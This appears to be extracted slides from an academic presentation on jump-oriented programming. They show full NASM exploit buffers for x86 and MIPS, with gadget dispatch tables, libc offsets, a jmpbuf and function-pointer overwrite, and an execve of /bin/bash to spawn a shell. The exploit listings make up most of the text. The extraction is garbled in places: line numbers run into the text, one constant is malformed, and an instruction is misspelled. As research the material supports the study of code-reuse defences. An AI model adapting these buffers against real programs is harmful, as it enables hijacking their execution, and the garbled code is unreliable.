55 g06: dd libc+0x14e168 ; mov [ebx-0x17bc0000], ah ; stc ; jmp [edx]
56 g05: dd libc+0x14748d ; inc ebx ; fdivr st(1), st ; jmp [edx]
57 g04: dd libc+0x14e168 ; mov [ebx-0x17bc0000], ah ; stc ; jmp [edx]
58 g03: dd libc+0x14748d ; inc ebx ; fdivr st(1), st ; jmp [edx]
59 g02: dd libc+0x14e168 ; mov [ebx-0x17bc0000], ah ; stc ; jmp [edx]
60 g01: dd libc+0x14734d ; inc eax ; fdivr st(1), st ; jmp [edx]
61 g00: dd libc+0x1474ed ; popa ; fdivr st(1), st ; jmp [edx]
62 g_start: ; Start of the dispatch table, which is in reverse order.
63 times buffer_length - ($-start) db 'X' ; Pad to the end of the legal buffer
64
65 ; LEGAL BUFFER ENDS HERE. Now we overwrite the jmpbuf to take control
66 jmpbuf_ebx: dd 0xaaaaaaaa
67 jmpbuf_esi: dd 0xaaaaaaaa
68 jmpbuf edi: dd 0xaaaaaaaa
69 jmpbuf ebp: dd 0xaaaaaaaa
70 jmpbuf esp: dd base_mangled ; Redirect esp to this buffer for initializer's "popa"
71 jmpbuf eip: dd initializer_mangled ; Initializer gadget: popa ; jmp [ebx-0x3e]
72
to_dispatcher: dd dispatcher ; Address of the dispatcher: add ebp,edi ; jmp [ebp-0x39]
73 dw 0x73 ; The standard code segment; allows far jumps; ends in NULL
```
Discussion

• Can we automate building of JOP attacks?
  – Must solve problem of complex interdependencies between gadget requirements

• Is this attack applicable to non-x86 platforms?

A: Yes

• What defense measures can be developed which counter this attack?
The **MIPS** architecture

- **MIPS**: very different from x86
  - Fixed size, aligned instructions
    - No unintended code!
  - Position-independent code via indirect jumps
  - Delay slots
    - Instruction after a jump will always be executed

- **We can deploy JOP on MIPS!**
  - Use intended indirect jumps
    - Functionality bolstered by the effects of delay slots
  - Supports hypothesis that JOP is a *general* threat
MIPS exploit code (high level overview)

- Shellcode: launches `/bin/bash`
- Constructed in NASM (data declarations only)
- 6 gadgets which will:
  - Insert a null-containing value into the attack buffer
  - Prepare and execute an `execve` syscall
- Get a shell without exploiting a single `jr ra`:
MIPS full exploit code (1)

```assembly
; ====== CONSTANTS ======
#define libc 0x2aada000 ; Base address of libc in memory.
#define base 0x7fff780e ; Address where this buffer is loaded.
#define initializer libc+0x103d0c ; Initializer gadget (see table below for machine code).
#define dispatcher libc+0x63fc8 ; Dispatcher gadget (see table below for machine code).
#define buffer_length 0x100 ; Target program’s buffer size before the function pointer.
#define to_null libc+0x8 ; Points to a null word (0x00000000).
#define gp 0x4189d0 ; Value of the gp register.

; ====== GADGET MACHINE CODE =====

|   | Initializer/pre-syscall gadget | Dispatcher gadget | Syscall gadget | Gadget "g04"
|---|-------------------------------|-------------------|---------------|---------------
|   | lw v0, 44(sp) | addu v0, a0, v0 | syscall | sw a1, 44(sp) |
| 14 | lw t9, 32(sp) | lw v1, 0(v0) | lw t9, -27508(gp) | sw zero, 24(sp) |
| 15 | lw a0, 128(sp) | nop | nop | sw zero, 28(sp) |
| 16 | lw a1, 132(sp) | addu v1, v1, gp | jalr t9 | addiu a1, sp, 44 |
| 17 | lw a2, 136(sp) | jr v1 | li a0, 60 | jalr t9 |
| 18 | sw v0, 16(sp) | nop | addiu a3, sp, 24 |
| 19 | jalr t9 | | |
| 20 | move a3, s8 | | |

; ====== ATTACK DATA ======

; Data for the initializer gadget. We want 32(sp) to refer to the value below, but sp
; points 24 bytes before the start of this buffer, so we start with some padding.
; times 32-24 db 'x'
; dd dispatcher ; sp+32 Sets t9 - Dispatcher gadget address (see table above for machine code)
; times 44-36 db 'x' ; sp+36 (padding)
; dd base + g_start ; sp+44 Sets v0 - offset
; times 128-48 db 'x' ; sp+48 (padding)
; dd -4 ; sp+128 Sets a0 - delta
; dd 0xaaaaaaaa ; sp+132 Sets a1
; dd 0xaaaaaaaa ; sp+136 Sets a2
; dd 0xaaaaaaaa ; sp+140 (padding, since we can only advance $sp by multiples of 8)
```
MIPS full exploit code (2)

; Data for the pre-syscall gadget (same as the initializer gadget). By now, sp has
; been advanced by 112 bytes, so it points 32 bytes before this point.
38  dd libc+0x26194 ; sp+32 Sets t9 - Syscall gadget address (see table above for machine code)
39  times 44-36 db 'x' ; sp+36 (padding)
40  dd 0xedededede ; sp+44 Sets v0 (overwritten with the syscall number by gadgets g02-g04)
41  times 80-48 db 'x' ; sp+48 (padding)
42  dd -4011 ; sp+80 The syscall number for "execve", negated.
43  times 128-84 db 'x' ; sp+84 (padding)
44  dd base+shell_path ; sp+128 Sets a0
45  dd to_null ; sp+132 Sets a1
46  dd to_null ; sp+136 Sets a2
47
48  ; ===== DISPATCH TABLE =====
49  ; The dispatch table is in reverse order
50  g05: dd libc-gp+0x103d0c ; Pre-syscall gadget (same as initializer, see table for machine code)
51  g04: dd libc-gp+0x34b8c ; Gadget "g04" (see table above for machine code)
52  g03: dd libc-gp+0x7deb0 ; Gadget: jalr t9 ; negu a1,s2
53  g02: dd libc-gp+0x6636c ; Gadget: lw s2,80(sp) ; jair t9 ; move s6,a3
54  g01: dd libc-gp+0x13d394 ; Gadget: jr t9 ; addiu sp,sp,16
55  g00: dd libc-gp+0xcb1ac ; Gadget: jr t9 ; addiu sp,sp,96
56  g_start: ; Start of the dispatch table, which is in reverse order.
57
58  ; ===== OVERFLOW PADDING =====
59  times buffer_length - ($-$$) db 'x' ; Pad to the end of the legal buffer
60
61  ; ===== FUNCTION POINTER OVERFLOW =====
62  dd initializer
63
64  ; ===== SHELL STRING =====
65  shell_path: db "/bin/bash"
66
67  db 0 ; End in NULL to finish the string overflow
References


